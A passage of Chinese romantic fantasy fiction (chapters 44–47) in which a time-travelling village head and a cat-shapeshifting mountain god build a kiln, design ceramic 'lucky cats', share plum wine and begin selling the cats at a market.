“喵……”华画也尽力做出认真的模样,他端端正正地坐好了,昂首挺胸目不斜视,像一尊镇桌的神兽像。
“刚刚没有吓到你吧?”余玥玺眨了眨眼睛,做出一个狡黠的微笑。
华画先是点头,然后又摇了摇头,见余玥玺表情困惑,他又加大了摇头的力度。
“这几天看书啊,都要把人学傻了。”余玥玺长叹了一口气,“整个人都仿佛不属于我了,而我只是居于这个躯壳之内。”
余玥玺开始胡言乱语,她伸手轻轻地挠了挠华画的下巴,颇有兴致地问:“你怎么知道我现在最需要一只香香软软的小猫咪呢?华画你可真是太贴心了!”
华画没法回答,他下意识想要恢复人形,但他的直觉告诉他,现在不是恢复人形的时候,于是他只好继续保持沉默。
“我现在放松多了,非常感谢。”余玥玺的手又很不老实地向华画的肚皮摸去,她依旧带着笑容,“以后常来,记得变猫。”
她忽然压低了声音,凑在华画的耳边道:“我会对你负责的。”
华画一跳,猫眼瞪得很大。
负责,负责什么?
“真可爱。”余玥玺总算是收了手,她挥挥手道,“今天就这样吧,我的心情已经好得差不多了,明天这个时候你再来。”
华画的耳朵耷拉了下去,然而余大人的话不能不听,他甩了甩尾巴,闷闷不乐地向门口走去了。
“你天天晚上蹲在我的窗户下面是吗?”
华画的脚步停住了,他背对着余玥玺点了点头。
“有时你还睡着了是吗?”
华画迟疑了,这
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他可不记得了。
余玥玺继续开口:“有时,你的呼噜声挺大的,害得我以为闹鬼了你知道吗?”
华画便开始跑起来,他跑到门边,用力地挤了出去,余玥玺就这样看着他像水一样流到了门外。
“其实只有一次。”余玥玺笑了笑,拾起了门口的食盒,不知今日又会是什么菜呢?她真的很期待。
华画几乎是落荒而逃的,还有什么是比在心上人面前出糗更糟糕的事情吗?
怎么会有?
他神情沮丧,但还是没忘了在走出院门以前恢复人形,他拖着步子走到了鱼塘面前,紧接着他坐了下来,悲伤地看着水中欢快地游来游去的鱼儿们。
自己能做的不多,养鱼这件事自然而然落到了他的头上。拖自己是山神的福,这山上的生灵,只要是经过他手饲养的,就没有不存活的道理。
他低头看自己在水中的倒影,忽用力扔了一把鱼食进去,鱼儿们悠然自得的姿态瞬间打破,争先恐后地开始夺食,将平静的水面搅了个天翻地覆。
“喂,怎么我每次见你,你都是这副表情啊?”乔河不知从哪里出现,自顾自坐在了华画的身旁,他向华画伸手,“给我点鱼食。”
“怎么,你要吃啊?”
“给鱼吃!”
“哦。”华画的反应速度慢了半拍。
乔河扔了鱼食进去后,拍掉了手上的碎屑,他望着远方,但话明显是对着华画说的:“你多为余大人考虑考虑,你要站在她的角度去看问题,你要想她会用什么办法解决困难。你不要因为她对你的态度和你预想中的不一样,就做出如此不上进的表情。”
“你话好多,你不是个暗卫吗?”华画也看向远方,“你懂什么?我才没有不上进。”
乔河开始阴阳怪气:“是,你每天就做个饭送过去,你是厨子吗?你就不能发挥点更大的用处?”
华画皱眉,不再做声,而乔河站起身,拍了拍身上的草屑:“你就在这里多想想吧,要是你能把鱼养好也是大功一件了。我走了,我去帮小吉家锄地了。”
听了这话,华画才勉强收回视线,看着乔河道:“你?”
“对,就是你想得那样。所以啊,你再坐这里多想想吧。毕竟该说的我都说了,剩下的就看你的领悟了。”
乔河相当潇洒地转身离开了。
华画锤了锤自己的脑袋,又开始长吁短叹,觉得自己真是倒霉。比起人形,感觉余大人更喜欢自己猫的形态……不过当初自己不是为了能帮她才变成人形的吗,如今看来,或许他又不该这样做?可是,一个人能做的,总比一只猫能做得要多吧?
他再一次被自己混杂的想法绕得晕头转向了。
光想可没用,他理清了思绪,开始思索乔河刚刚那番言论的可行性。余大人现在最需要的是什么呢?她在考虑制陶器的事情,那么自己能帮上什么忙呢?
余玥玺也说过很多次了,他不是什么头脑灵活的人,这个问题让华画想了很久才想明白。
是陶土。
这座山这么大,想必一定会存在着优良陶土的,不过今日恐怕已经比较晚了,他还有一个更重要的任务,那就是为余大人送饭!
想到此处,华画重新展露了笑容。
对,就这样做吧!
44.一切都好
华画蹲在书桌上,这次的桌子比起昨天稍微整洁了一些,勉强空出了一片能让他趴下的地方。余玥玺正和昨天一样虎视眈眈地看着他,一切尽在不言中,华画明白她想做什么,他乖乖地向余玥玺露出了肚皮。
“真听话。”余玥玺整个人看起来还是和昨日一样乱糟糟的,但精神头看起来倒是好了一些。
她先是伸手挠了挠华画的下巴,又相当熟练地捏了捏他的耳朵:“那我开始咯。”
华画闭上了眼睛,将自己的脑袋往余玥玺的手心里蹭了蹭。他感受着余玥玺的鼻子贴近了自己的肚皮,然后猛地一吸。
……
身心俱满足的余玥玺微笑着看向华画:“你今天很不对劲,你想要做什么?还是说,你有什么目的?”
“喵。”华画努力睁大眼睛,做出一副无辜的姿态。
余玥玺俯身看向她,微笑却是在警告:“不许装傻,你这家伙有点心思全写在脸上了,变成猫也一样。”
华画略有些心虚,不敢直看余玥玺,眼睛一瞟,就落到了地上码得整整齐齐的书上去了。
“书?”余玥玺一挑眉,“你要看书?”
华画点头也不是摇头也不是,只好把自己的脸埋在了肚皮里。
余玥玺戳了戳这团猫球,调侃道:“哟,心思被点出来害羞了?变成人,亲口说吧。”
“唔喵。”华画又将头探了出来,跳下了桌子,在落地的一瞬恢复了人形,他挠了挠后脑勺,很不确定地开口,“你要我说什么?”
余玥玺转身坐进了椅子中,舒舒服服地跷起二郎腿:“一切从实招来,在我这里,你确定你要隐藏什么吗?”
自然是不敢。华画略微整理了一下思路道:“我是准备来偷书的。”
“嗯?偷书?”
“你有不让我插手这件事,但我又是真的想帮你,就只好趁着这个机会来窃几本书了。”华画很老实地回答,“我的原意只是想帮你减轻负担,你这段时间太累也太疲惫了。”
“我知道你是一个很独立的人,我在你看来,可能并没有什么出彩的地方吧,但我会慢慢学的,争取能配得上你,站在你的身边。”
“傻猫。”余玥玺嗤了一声,“你还记得我最看重你什么吗?”
华画很茫然地摇了摇头,他想不出自己居然还有能让余大人看重的地方。
余玥玺向下说道:“你很真诚,从没有弯弯绕绕的其他心思。所以,你有什么想法直接对我说就好,不要对我隐瞒,不管是现在还是以后。比如这个偷书去学习的想法就很妙,但你在这之前可从未对我说过。”
“所以你到底想学习哪一方面?”
华画本来是有些沮丧的,听了这番话,他又开始喜悦到滔滔不绝:“你不是在烦心怎么制陶器吗?我打算学有关陶土的知识,看它们是什么样、什么样的陶土才算优良的,你看烂泥村这一片的山地这么大,我又是山神,在这里面肯定就是如鱼得水的呀!我一定能找到最好的陶土,再加上你丰富的知识储备,制出最好的陶器,肯定不在话下!”
意识到自己的状态似乎是过于兴奋了,华画收敛了自己放肆的笑容,小心地补充道:“总之,我就是想帮助你的。我应该站在你的角度来考虑问题,切实地解决你的烦心事。”
“好,不错!”余玥玺向华画勾了勾手指,示意他将脑袋低下来,她又开怀一笑,“说得好,就该这样,你能明白这一点就好。”
“所以,我把这一本给你,回去好好学,不要让我失望。”余玥玺将桌上的一本书递给华画,华画刚接过,就听见余玥玺毫不客气地下了逐客令,“好了,你该走了,你已经在这里待了太长时间了。”
想到自己确实已经没有再待在这里的理由,华画点点头,然后离开了,临走到了门口,他还没忘回头补充一句:“别忘了吃饭,如果可以的话,还要记得出来晒太阳。”
“好啦,我知道,你最近能见到乔河吗?”余玥玺问。
华画点点头:“可以的。”
“那好,你去找他,告诉他从山下带三个匠人上来,然后在村里面建个瓦窑出来,我这边已经接近尾声了,单靠我一人实施下去有些麻烦,而且我也是初学者,在某些地方肯定还是不太熟练的。好,你去吧。”
余玥玺再一次在华画的眼前关了门。
关上门后,余玥玺返回了居室,她坐下,打开了食盒,里面的菜还是一如既往的每天都不一样。
还真是难为他这个不太灵光的脑袋了,余玥玺微笑了一下,喝了一口鱼汤。
如果能将他带回到自己的时代呢?余玥玺的心里忽然出现了这样一个想法。
或者说,他会等自己等到那个时候吗?
余玥玺莫名怅然起来。
她的视线落到了今日才完成的一页新方案上,最显眼的是上面画的一只猫,圆圆滚滚,憨态可掬,一只爪子伸在半空,她没有三种颜色的笔,只好以颜色的浅淡来表现出不同的三色。
余玥玺不免又想起了那本和她一起穿越过来,却神秘失踪的小册子,册子的封面上好像就画着这样的一只三花猫。她当时还不解何意,却随口说了一句“招财猫”,无心之言在如今听来倒也是成了冥冥之中的注定。
她是有信心走出这一步的,如果这是定局的话。
时间就这样一日日地过去了,余玥玺正式走出房门的那日,是一个好天气,阳光明媚万里无云,她的眼睛还未适应过强的阳光而微微眯起,院子很整洁,看起来像是被天天打扫过,窗下的花草也被精心修剪过。
一看就知道是谁做的。
余玥玺向院门外走去,院门外来来往往有人经过,都很眼熟,但余玥玺却一下子想不出他们的名字来了,他们见了自己,都带着亲切的笑容道:“小余呀?你终于出来了?”
她也就报以同样真挚的笑容:“是啊是啊。”却在脑子里回想这些人是谁。
好在她还是没有忘记周小吉的,周小吉一见她就瞪大了眼睛,紧紧地抱住了她道:“天啊,小玺,你怎么变得这么呆滞了?”
余玥玺只好尴尬地笑笑,她试图为自己辩解:“只是没休息好而已,等今晚好好睡一觉就好了。”
周小吉看起来相当心疼:“你看起来瘦了些,头发也乱了些……”
“哎呀,好了好了,我什么事都没有!”余玥玺虽然很感动,但也害怕周小吉就这么一直说下去没完了,赶紧叫停了,她无比生硬地试图转换话题,“村里最近怎么样了?”
“你放心,非常好!鱼塘的鱼被你家华画养得非常好,还有一个,那个什么?好像叫瓦窑?也已经建起来了,非常快!”
余玥玺一边听着一边点头:“那华画确实还是有点用的。”
“何止是有点?在你不在的这段时间里,他可是出了不少力呢。”周小吉笑呵呵道,“虽然他总是
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加上一句‘这是余大人的话’,但其实就算不加的话,烂泥村的大家也是会听他的,毕竟他也算是除你之外第二个皇城的人了。”
余玥玺陪着笑,心里想的是人家还算是土生土长的山里人,嘴上说的确实:“哈哈哈,那挺好。”
“我带你去瓦窑那边看看?”周小吉提议道。
余玥玺同意了:“好。”
正好她也没有见过瓦窑是一个什么样子,又一个亲眼见证历史的机会!
周小吉为余玥玺引路,二人穿过村道,瓦窑在村西头,据周小吉所说,哪里离陶土产地是最近的,运输比较方便。
“这儿居然还真的有优质陶土啊?”余玥玺很是惊讶。
周小吉道:“没错,连从山下上来的匠人们都说这土不错呢。”
她又像是想起来什么一样,笑道:“小玺,如果你等会看见华画的话,可千万不要笑他哦。”
余玥玺的好奇心被勾了起来:“怎么了呀?”
“华画他凡事都要掺和进去,手脚又不太灵活,每天手上脚上甚至脸上都能弄到泥。为了方便做事,他还换了一身衣裳,衣袖和裤脚都是撸到最上面的。那个泥巴沾到他身上,简直对比明显!”
余玥玺想了一下这个画面,没忍住笑了出来。
“而且呀,他还不让人笑。”周小吉继续兴致勃勃补充道,“别人一笑他就瞪眼。”
“哈哈,他是不敢瞪我的。”余玥玺饶有兴致道,“不过我尽量收敛一点表情。”
“看,我们到了,就在这里。今天还比较早,第一批瓷器还没有出炉。”
余玥玺略有些疑惑:“现在在做什么?我的招财猫的图纸还没有给这些匠人。”
周小吉便解释道:“是啊,因为你那个时候还不在,但是瓦窑已经被建出来了,陶土也被开采好了,就先做出了第一批瓷器,一部分实用的被村里人分掉了,另一部分被乔河带到了山下卖掉了,也卖了一笔钱呢。”
“真好。”余玥玺很是欣慰,“我不在的这段时间里,烂泥村的运行还真是出乎我的意料啊,假如有一天我不在了,看来你们也能自己过得很好了。”
周小吉赶紧去堵她的嘴:“呸呸呸,说什么呢?什么叫你不在了,说点好听的吧!”
余玥玺只是一笑:“我总有一天会离开的,不过放心,在我的任务完成之前,我是不会走的。”
“余大人?”余玥玺听见有人在喊她,她顺着声音的方向望去,是华画,他带着笑向余玥玺挥了挥手。
“你终于出来了,还好我今天当心了些,没有在身上沾了泥,这才保证了我一贯完美的姿态来再见到你。”华画一张嘴,还是那么骄纵的样子,他在怀里摸了摸,又掏出一个小小的陶制猫出来。
余玥玺不动声色地接过,这是一只三花猫,花纹与华画身上的如出一辙。
“还说你不自恋?”余玥玺不免笑道,手上的猫和那日华画送她的陶制橘猫大小相似,但精细程度远不如那只橘猫。
华画将陶制猫送给余玥玺后,显得有些不好意思:“可能做得不太好,这是我的第一个作品,以后我会做出更好看的出来。”
“没关系,和你本人一样。”余玥玺将陶制三花猫收好,说了一句让华画摸不着头脑的话。
“先别摸你的后脑勺了,你去我的屋里把图纸拿过来,第一批招财猫尽早出炉越好。”
华画领命而去。
45.不确定的未来
图纸已经拿过来了,被那些乔河从山下请上来的匠人们传递着翻阅,他们看看图纸,又看看余玥玺,脸上的表情已经不能用古怪来说明了。
“这是啥玩意儿。”他们问。
有一个还补充了一句:“长得奇形怪状的。”
余玥玺只是微微一笑道:“一种新制陶艺品,我给它取名为招财猫,你们其他的都不用管,按我这个设计图纸来做便好。原理都是互通的,你们既是此行的匠人,那么制作这个也应该很容易上手。还有我也会与你们一同工作的。”
工匠们的表情变得郑重起来,甚至用上了“您”的称呼:“您是什么人?”
余玥玺回答:“曾经我是皇城的一个小官员,现在的我是烂泥村的村长,身份没什么特殊的。”
其中有一个工匠还特地补充了一句:“您一看就气度非凡,绝对不是个普通人,在这么小的地方,肯定是难以施展您的抱负的。您是不是被什么小人给陷害了?”
这些工匠怎么话这么多?余玥玺不免腹诽,但脸上仍保持着得体的笑容:“没有,是我自己请命来此处的。闲话不宜再提,我们还是尽早开工。”
言外之意便是,别说废话了行吗?
但这些工匠显然是个没眼力见的,他们继续惊讶:“难道不是一般官员都情愿去大地方吗?咋还有自己跑到这鸟不拉屎的地方来的?俸禄都少了不少吧?”
有一个继续说了下去:“我们一开始被一个小兄弟请来的时候,可都以为他在开玩笑呢,要不是工钱给得足,我们还真不一定来。”
就在余玥玺快要维持不住脸上笑容的时候,他们又齐齐夸赞了:“这皇城啊,就是缺像您这样一心为民的大好官啊。”
一个看起来像是其中带头的工匠道:“看在您的面子上,这工钱我们就不要了,您给我们管吃管喝管住就行了。”
于是余玥玺又生生将脸上即将散去的微笑重新挤了回来:“那还真是再好不过了,几位大哥也是性情中人。”
“哈哈哈哈哈,好,好得很啊。”领头的工匠重新抖了抖手中的图纸,再次仔细地开始打量,然后开口,“以前也帮过一些大户人家做些精巧的小玩意儿,但您这个看起来更是精妙无比啊。”
“那请问有难度吗?”余玥玺问。
“整体上是没有的,思路和做瓷器是一样的,不过您这个还要猫爪子可以动?这或许有点难度,不过倒是可以内置机关,做不到一直动,但摇一下动几下或许可以做到。”
余玥玺险些又自告奋勇“我去学!”了,她松了口气,道:“可以做两批,一部分是爪子可以动的,另一部分是爪子不能动的。能动的卖贵一些,不可以动的卖便宜一些。”
“也好,您考虑得果然周到齐全。”领头的工匠点头,其余工匠也在附和,“不过我还是提议这猫爪子可以动的先做几个样品出来,这个难度大,万一没做好,一炉子就全毁了。先做几个出来看看,要是不好还可以随时改进,你觉得如何呢?如果你觉得合适的话,我们就可以开始塑猫型了。”
“当然可以,开始吧,还需要助手吗?”余玥玺指了指在一旁发呆的华画,“这位也可以帮忙的。”
领头的工匠看起来有些犹豫:“他吗?”
虽说人手越多有时是好事,但这位真不一般,总之就一句话,不是在搞砸事情,就是在搞砸事情的路上,靠谱是绝对没那么靠谱的。
但这位尊贵的大人都发了话,他也只好点点头:“哈哈,好。”
余玥玺便招手:“来,华画,过来。”
听到召唤的华画从神游的状态中醒来:“嗯,我来了。”
瓦窑旁边有几间简易的工棚,二人一前一后地进去了,工棚内的工具很是随意地到处摆放着,已经塑了形的陶泥和几团还未成型的陶泥也是摆得乱七八糟的。一个像是刚烧出来不久的瓷瓶摆在桌上,里面插了几株花和几根草。
“你这段时间就在这里工作?”余玥玺问,她伸手抚摸桌子上的花瓶,语气轻松,“这个花瓶是你亲手做的?”
华画长舒了一口气:“嗯,是我为数不多的能够看得过去的作品,别笑话我。”
“不会,我怎么会笑话你呢?”余玥玺露出了她一贯的轻松调侃的笑容,“我是这种人吗?”
华画嘟哝一声:“我觉得你是。”
“好啦,闲话少说,我们还是抓紧时间,喏,把那个工具递给我。”
即使“闲话少说”是由余玥玺自己提出来的,但塑性的间隙,她还是止不住地问:“你觉得将所有猫都制成一个花色好呢,还是不同花色好呢?”
华画困惑地回答:“余大人你……难道不准备做我这个花色了吗?”
看着华画含着哀怨的眼神,余玥玺再一次笑了:“我是指三花的颜色需要做成完全不一样的色彩搭配吗?”
华画继续用困惑的眼神看他,余玥玺只好继续解释:“世上没有两只完全一样的三花猫……”
“那我就是独一无二的了?”华画当即抢答。
“对。”余玥玺点头。
“那你在我心目中也是独一无二的。”
“那是自然。”
余玥玺回答得毫不客气。
“那我同意。”华画同样很有底气地回答,“所以独一无二的我这世上不能再出现第二个了。”
“你倒是胆子越来越大了。”余玥玺作势要将手中的陶泥丢向华画,华画没躲,因为他确信她不会真的丢过来。
“余大人,你这块陶泥都要成型了,就别浪费了。”华画看起来倒还像是再为余玥玺考虑。
“一段时间没见,你倒是愈发会说话了。”
华画听出了余玥玺是在开玩笑,嘿嘿笑道:“是您教导的好。”
余玥玺很受用,她微笑点头道:“跟着我,你还可以学到更多。比如——机械的制作与运用,让我们的招财猫的爪子能够灵活活动就靠这个了!”
虽说余玥玺在穿越过来之前是个地地道道的历史生,但自小她就对各类可以动的发条玩具相当感兴趣,拆了不知道多少个发条青蛙发条小人。
“我唯一不需要再如此认真细致学习的就是发条机关了,不过能力方面确实存在些许欠缺,不过这些都好说。”余玥玺说着抬起了沾着泥的右手,手肘微微弯曲,一上一下地摇晃,“就是这个动作,意为招财。”
华画看着,只觉得这个动作有些滑稽:“余大人,这‘招财猫’真的能受欢迎吗?会不会卖不出去?”
“喂,乐观点行吗?”余玥玺恨铁不成
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钢地白了一眼华画,“这还一只都没做出来呢,就开始打退堂鼓了?另外,你不是人你不懂,虽说钱不是万能的,但没有钱是万万不能的,烂泥村要是有钱的话,也不至于如此艰难了。”
“另外啊,这招财猫就等于吉祥物,没人会无故排斥一个寓意良好的吉祥物,更别说咱的招财猫是有招财之意了,就卖给那些商户,什么小摊贩呀、小门户呀乃至大商铺大酒楼大产业都会要的,我断定一定会供不应求的!”
余玥玺显然已经沉浸在未来的无限可能性中了。
“谢谢。”华画忽然莫名地道了声谢。
余玥玺挥了挥手:“口头上的谢意最不可靠,我看你还是快些动手吧。”
华画点点头,一边又加快了手上的动作。
工棚的顶部存在着缝隙,阳光便从此处倾泻而下,扬起的细小灰尘在阳光的照射下微微打着转,闪闪发亮,地上的光斑也在移动,形状由长变短,直至最后消失。
直到暮色四合之际,余玥玺华画以及工匠们所制成的第一批招财猫的模型已经制成,等风干这个程序过后才可以上色以及烧制。
接下来,便是等待了。
洗净了手的余玥玺戳了戳华画,她满怀期待地问:“今晚吃什么?”
这个问题险些让华画吓到闪了腰,怎么就如此自然地问了出来呢?为了不让自己看起来像个情绪过于激动的傻子,他平静下心情道:“自然是你喜欢吃什么就吃什么。”
“就不怕我狮子大开口?”余玥玺向他挑眉道,“那我想吃的很多哦。”
华画摇摇头:“不怕,因为我是山神,我什么都能变出来。”
“呦呵,好了不起。”余玥玺夸张地拍了拍手,她眨眨眼,“吃鱼好不好?”
华画刚想回答:“那还不简单?”却听见余玥玺慢悠悠地说出了后半句:
“吃你养的观赏鱼。”
华画卡了壳,目光似是呆滞:“真,真的吗?”
余玥玺大笑起来,扯了扯华画的耳垂道:“开个玩笑而已,瞧把你吓的,放心,不吃你养的那些宝贝观赏鱼。再说了,观赏鱼又不好吃。”
“没事,如果你真的要吃的话,我也可以忍痛割爱的。”华画垂眸看着余玥玺,“你才是最重要的,观赏鱼可不是。”
“行啦,不需要你这个时候表忠心,今晚就吃烤鱼?”
华画狠狠点头:“当然,没问题!”
余玥玺又笑笑,拉长了声调道:“可不许糊弄我,我今天就这一个要求。”
“不会的,我不是此等喜欢糊弄的人。”华画语气执着且认真。
月亮已经升起来了,月光柔和,二人行走在崎岖的小路上,华画牵住了余玥玺的手,余玥玺抬头望他,笑道:“胆子还真是越来越大了。”
“你说过的,你晚上看不清,这路又不好走,我就只好牵着你了。”
华画答得倒是理直气壮。
余玥玺失笑,又道:“你觉得如果烂泥村真的靠卖招财猫致富的话,会怎么样呢?”
华画不假思索道:“不会怎么样,你还是你,我还是我,什么都不会变。”
“对,什么都不会变。”余玥玺压制下内心不知从何而来的忧虑,扬起笑容道,“那我就放心了。”
46.青梅酒
第一批招财猫已经被制造出来了,它们被摆放得整整齐齐,一致地举起右爪,模样憨态可掬,身上的花色各不相同。
“好可爱,它们真的好可爱。”桃儿毫不掩饰自己的喜欢。
她指着面前一排招财猫骄傲道:“我觉得我上的色最好看!”
余玥玺微笑鼓励:“对,桃儿这方面的天分很强!”
桃儿便兴冲冲地面向柳儿道:“你听见了吧?余姐姐说我很厉害!”
柳儿点点头,脸上的笑容真挚:“嗯,桃儿最厉害了。”
余玥玺摸了摸下巴,看向了远处蹲在地上摆放招财猫的华画,走向了他。
“你觉得如何,还满意吗?”余玥玺问。
华画站起身,他拾起了其中一个,他略有些迟疑地问:“余大人,你在问我吗?”
余玥玺道:“对,问问你的看法,毕竟你可是这批招财猫的形象代言人呢。”
华画托起掌心的那只招财猫道:“只要是和你相关的,我都满意,而且它们确实很……可爱,一定会吸引到人的。”
“这一只是有什么特殊的吗?”
“这一只和我最像。”
余玥玺听了这个回答,便笑道:“你还真不是一般的自恋。”
华画将招财猫轻轻放回原处,目光柔和地看着余玥玺道:“若不自信些,怎能配得上你选中的人?”他的语气认真,“而且你也说过,你喜欢我这个样子。”
余玥玺笑得眉眼弯弯,从华画的手中拾起那只猫,抚摸着它光滑的脊背:“好了,不要一直提了。”
她话锋一转道:“你要和我一起下山吗?本来我是不打算一个人去的,这上山下山也太累了,但这件事不一样,得由我亲自出马,这山下的人才能知道这招财猫的妙处。”
华画自然求之不得:“好!我愿意!”
“我们什么时候出发,现在可以吗?”华画显然一副迫不及待的样子,“我随时都可以的!”
“急什么?”余玥玺敲了敲华画的头,“总得让我歇息一会吧,我可是好几天没睡好觉了。”
华画连忙道歉:“抱歉,我疏忽了。那你赶紧去休息吧,等你什么时候准备好了我们什么时候走。我还是那句话,我一直都在。”
余玥玺看着华画,他的眼神毫无杂质,也是,他的真心从来不需要怀疑,毕竟他只是个傻猫罢了。
她的语气也温柔了下来:“那我先去休息了,等我醒来的时候,我要吃辣子鸡丁。”
华画连连点头应了下来。
他并不聪明的脑袋瓜显然还没想到这次下山有着什么更深层的含义,他只道是余大人又又需要他帮忙了,而这次,他又恰好能帮得上。
仅此而已。
月亮已经升到了当空,余玥玺发誓自己只是想小憩一会儿,没成想一觉睡到了月亮当空照,华画搬来一张小的雕花桌与两把椅子,放到了余玥玺的院子,桌上放着瓷瓶,里面装满了酒。
院子里甚至还有两盏灯,光线柔和,华画站在灯下,他的脸被镀上了一层柔和的光晕,正微微含笑着看向睡眼朦胧两手呈开门动作的余玥玺。
“你醒啦?菜我已经……”华画的话刚出来半截,余玥玺又“嘭”的一声关起了大门。
站在门那头的余玥玺,心莫名狂跳不止,华画这家伙怎么就突然这么会来事了?而且站在灯下的他,居然还有点……好看?她摸了摸自己蓬乱的头发,简直煞风景。
好吧,出于对这顿晚宴的小小尊重,余玥玺还是将头发梳整齐了才再次出门来。
而华画眼见着房门再次打开,他迎了上来:“你终于醒啦。”
余玥玺微笑着,对这个问题决定不予理睬。
“你还准备了酒?”余玥玺坐在了椅子中,看着面前琳琅满目的菜肴以及精致的酒壶与酒杯,她略有些惊奇,“你酒量如何?”
“这酒是果酒,很清冽,不伤身的。”华画笑道,起身为余玥玺斟酒。
余玥玺啜饮了一小口,口感甘甜,确实没有她儿时因好奇而偷尝的酒那股辛辣刺鼻的味道。
“有梅子的味道。”余玥玺笑了笑,“你不要和我说这酒也是你酿的。”
华画却点了点头:“是的,这确实是我酿的。”
“我看你以后直接当厨子吧,给从山下上来的客人们做饭!”余玥玺兴致勃勃道,“赏景的同时吃美食也是一种享受呢。”
没想到华画拒绝了:“不要,我只给你一个人做饭吃。”
余玥玺哈哈一笑道:“嗯,也是,堂堂山神大人怎么能屈尊给平民百姓做饭呢?”
华画一愣,随即又开始摇头:“我不是……这个意思。”
“好好好,不逗你了。”余玥玺忽然正色道,“明天下山,你觉得如何?”
“好。”
“不要只说一个字好吗?”余玥玺微微眯起眼睛,脸上似笑非笑的表情让华画抖了一下。
“好……额,好的。”
余玥玺稍稍抬起了下巴,眼神变得有些锐利:“你就没有其他要补充的吗?”
华画的目光绝对称得上清澈且愚蠢:“什么?我还需要做什么?”
余玥玺盯着他的眼睛半晌,最终她轻轻叹了口气道:“看来你距离能真正帮我承担起事务的完成还有很长一段路要走啊。”
华画同样回答得真诚:“那我加油。”
随后他又补充道:“你可以随时这样看着我。”
“美得你。”余玥玺翻了个白眼,她又饮下半杯酒,眼神轻飘飘落在饭桌上,“算啦,先吃饭。”
她夹起一块鸡丁,嚼了嚼,麻辣鲜香,倒是好吃。
“如果你在做其他事情的本事有在做菜方面一半用心的话就好了。”余玥玺刚要开口,转念一想这话可能过于伤人,便又自觉用菜堵住了自己的嘴。
华画自然不知道余玥玺在想什么,他又自然地夹了一块肉放在余玥玺的碗中,眼睛很明亮地看着余玥玺,像是想被夸奖一样。
“你有时很让人省心。”余玥玺憋出一句话,她点点头,印证自己说的话确实没错。
华画做出一副恍然大悟的样子:“原来如此,我明白了。”
你明白了什么啊?余玥玺的眉头微微皱了起来,她忽然心生一计:
“你明天变成猫和我下山。”
“为什么?”
余玥玺喝净了杯中的青梅酒,又给自己斟满了,而后才开口:“自然是让他们看见‘招财猫’的本尊了。”
华画的表情如她所预料的一样呆滞,但这次她不算做过多
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解释了,只是笑眯眯地问:“你是答应还是不答应呢?”
“我答应的,只要是你提出的要求,我就不会拒绝的。”华画回答得倒是干脆。
余玥玺“啪”的一声打了个响指:“就等着你说这句话呢。”
她又一口喝净了杯中的酒,脸上染上了一丝晚霞似的绯红,声音也不似往常一般镇静,尾音微微上扬,羽毛一般又轻又柔:“我们明天啊,就是要先打响我们招财猫的知名度,然后就不需要我们亲自下山了……我已经可以想象到烂泥村做大做强的样子了,所有人都会上山,只为买我们村生产的招财猫。”
“哈哈,华画,你觉得怎么样?我觉得是真的不错。”余玥玺的话像是开了闸的水一般滔滔不绝,华画很费劲地继续往下听,却无法抓住她话的重点,只好不停地点头。
最后,余玥玺来了一句:“等明天我们卖光招财猫以后,我们就在集市中散步好不好?我已经很久没有在这般人来人往的集市中穿行了,好不好?”
华画猛然一抬头,结果就是只记住了最后一句话:我们一起散步好不好?
“好!”华画喊了一声,这一嗓子倒是把余玥玺给吓到了,她摇摇头:
“好就好,喊那么大声做什么?”
余玥玺放下了手中的酒杯,将桌上已经空了的菜肴挨个扫视了一遍,她站起身,向华画一笑:“明天见,今晚早点睡觉。这些餐盘酒杯,就劳烦你一个人收拾一下啦。喝了一点酒,感觉头有些晕,又有些想睡觉了,为了避免我说出一些胡言乱语,我就先睡了。明天见咯。”
她的步子略有些凌乱,站在灯下的时候,她站定了身子,抬头似是疑惑地看了看散发着柔和光晕的灯笼,随后才低下头继续步履不稳地走回了屋中,全程没回头。
在梅子酒的作用下,余玥玺再次睡得昏昏沉沉,像是要把这段时间缺的觉都补回来一样,这一觉很安稳,醒来时也没有头痛的感觉。
天蒙蒙亮了。
余玥玺起身,照例望了一眼窗外,窗台上睡着一只蜷缩成一个球的猫,察觉到这道目光的猫睁开了猫眼,伸了一个懒腰后跳下了窗台。
“稍等,我马上就出来。”余玥玺向着窗外喊了一声。
“嗯,好。”
余玥玺迅速收拾妥当,随后打开了大门,华画正站在院子的正中央,背着一个很大的布袋。
“招财猫吗?”
华画点头道:“是的,我会非常小心地对待它们,保证在路上一个都不会碎!”
“好啊,你这么自信,我也就放心了,早上吃什么?”
华画又费力地从怀中掏出一个荷包,咧嘴一笑:“我们去山下集市吃。”
余玥玺问:“你哪来的钱?”
“是乔河给的,不过将来还是要还给他的。”华画很老实地回答。
余玥玺似乎对这个答案并不意外:“那就用我们用招财猫赚到的第一笔钱还给他就好了。”
“我相信我们的招财猫一定会大获成功的。”
“对,也不看看它的本尊是谁?”余玥玺故意调侃,引得华画的耳朵又开始发红。
“好了好了,不逗你了,明天真的要做正事了。”
华画再次狠狠点头道:“好,我明天一定会好好努力的。”
47.就当是约会了
二人面对面坐在街边支起来的粥摊里,街上人来人往,热闹非凡,吆喝叫卖声不绝于耳,余玥玺在粥还没有被端上来的间隙,用手撑着下巴,看似百无聊赖地侧目望着街道。
“好自由。”她忽然微微一笑,“我喜欢。”
华画将半个身子探了过来,想要看是什么让余玥玺发出如此感慨,但他只看见了街上来来往往的行人与仿佛不知疲倦不停叫卖的商贩。
“多么自由且旺盛的生命力。”余玥玺的笑意愈浓,华画却急得不行,他根本不知道要如何接话,好在这个时候粥被端了上来。
“小心烫!想要小咸菜的话,随便取用,咱这都是不要钱的。”摊主笑呵呵地搓着手,嘴上又忍不住奉承道,“一看就是有大本事的人,这气质比城里那些当官的都矜贵!”
余玥玺礼貌一笑:“非常感谢,请问续粥要钱吗?”
“害,这要啥钱。”摊主摆了摆手,看见来了新客人,立马又跑到一边招呼去了,“哎呀,好一位贵客,红光满面,将来一定是要发大财的呀!”
余玥玺“噗嗤”一笑:“这老板倒是个会做生意的。”
华画夹起一筷子咸菜泡进了粥里,明明他说要带余玥玺去吃一点好的,但余玥玺一定要跑到路边的粥摊来喝粥。
算了,他似乎就从来没有跟上过余玥玺思维的时候。
低头喝一口粥,嘶,有点烫。耳边倒是又响起了余玥玺非常不合时宜的招呼声:
“诶?要来看看吗?”
“咳咳——”华画一个激灵,咽下一口滚烫的粥,还没等喉咙适应这股灼热感,手又抖了一下,过于稀薄的粥便又洒到了手上。
余大人这是在干嘛!
他连忙放下粥碗,擦了擦手上的米汤,目瞪口呆地看着余玥玺向路边的人招手,一边还喊着:“瞧一瞧,看一看啦,又可爱又有好寓意的招财猫便宜卖了!”
